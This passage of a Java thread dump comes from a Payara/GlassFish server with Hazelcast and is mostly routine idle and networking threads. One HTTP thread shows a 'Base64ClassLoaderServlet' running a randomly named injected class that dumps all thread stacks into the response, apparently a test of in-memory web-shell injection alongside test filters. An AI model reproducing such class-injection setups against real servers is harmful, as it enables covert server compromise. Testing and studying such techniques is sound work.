java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"http-thread-pool::http-listener-2(1)" #101 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5db1ef81 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.cached.thread-5" #91 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.timedFinishConnect(NioSocketImpl.java:553) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:602) + at java.base@17.0.13/java.net.Socket.connect(Socket.java:639) + at java.base@17.0.13/sun.net.NetworkClient.doConnect(NetworkClient.java:178) + at java.base@17.0.13/sun.net.www.http.HttpClient.openServer(HttpClient.java:533) + at java.base@17.0.13/sun.net.www.http.HttpClient.openServer(HttpClient.java:638) + at java.base@17.0.13/sun.net.www.http.HttpClient.(HttpClient.java:281) + at java.base@17.0.13/sun.net.www.http.HttpClient.New(HttpClient.java:386) + at java.base@17.0.13/sun.net.www.http.HttpClient.New(HttpClient.java:408) + at java.base@17.0.13/sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:1326) + at java.base@17.0.13/sun.net.www.protocol.http.HttpURLConnection.plainConnect0(HttpURLConnection.java:1259) + at java.base@17.0.13/sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:1145) + at java.base@17.0.13/sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:1074) + at com.hazelcast.internal.util.phonehome.MetricsCollector.fetchWebService(MetricsCollector.java:89) + at com.hazelcast.internal.util.phonehome.MetricsCollector.fetchWebService(MetricsCollector.java:103) + at com.hazelcast.internal.util.phonehome.CloudInfoCollector.forEachMetric(CloudInfoCollector.java:80) + at com.hazelcast.internal.util.phonehome.PhoneHome.createParameters(PhoneHome.java:160) + at com.hazelcast.internal.util.phonehome.PhoneHome.phoneHome(PhoneHome.java:149) + at com.hazelcast.internal.util.phonehome.PhoneHome.lambda$check$0(PhoneHome.java:97) + at com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda$1438/0x0000000801688fa8.run(Unknown Source) + at com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator.run(DelegateAndSkipOnConcurrentExecutionDecorator.java:77) + at com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker.run(CachedExecutorServiceDelegate.java:217) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Job Cleanup Service" #146 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3905081e + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"http-thread-pool::http-listener-1(5)" #98 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.13/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.apache.bFNmS.ErrorHrhkhHandler.toString(BasicInfoPrinter.java:26) + at java.base@17.0.13/java.lang.String.valueOf(String.java:4220) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:326) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1554) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:331) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.glassfish.tyrus.servlet.TyrusServletFilter.doFilter(TyrusServletFilter.java:83) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:257) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:166) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:757) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:577) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:99) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:158) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:372) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:239) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:520) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:217) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:174) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:153) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:196) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:88) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:246) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:178) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:118) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:96) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:51) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:510) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:82) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:83) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:101) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"EventAdminAsyncThread #5" #158 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@327c5ffa + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Executor-Service-1" #120 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3df79151 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"http-listener-2-kernel(1) SelectorRunner" #107 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.IO.thread-in-1" #79 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Executor-Service-4" #123 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3df79151 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"GF Domain XML" #144 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5383efb + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.cached.thread-6" #92 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@101d2eba + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.priority-generic-operation.thread-0" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e57a438 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:98) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.event-2" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56d85e9d + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"Executor-Service-3" #122 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3df79151 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Job Cleanup Service" #40 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3905081e + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.generic-operation.thread-4" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7b9f7e83 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FileSystemWatchService" #134 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@17.0.13/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.IO.thread-Acceptor" #85 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.acceptLoop(TcpServerAcceptor.java:186) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.run(TcpServerAcceptor.java:172) + +"fileinstall-/opt/payara/appserver/glassfish/domains/domain1/autodeploy/" #159 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:293) + +"http-thread-pool::http-listener-1(2)" #95 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2e036223 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"http-listener-1-kernel(1) SelectorRunner" #100 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"GF Domain XML" #116 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5383efb + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Executor-Service-8" #147 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3df79151 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.partition-operation.thread-2" #48 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"RMI RenewClean-[192.168.215.4:8686,javax.rmi.ssl.SslRMIClientSocketFactory@5f5df04c]" #175 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@427800da + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.rmi@17.0.13/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.operation-parker" #69 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6a2ba117 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at 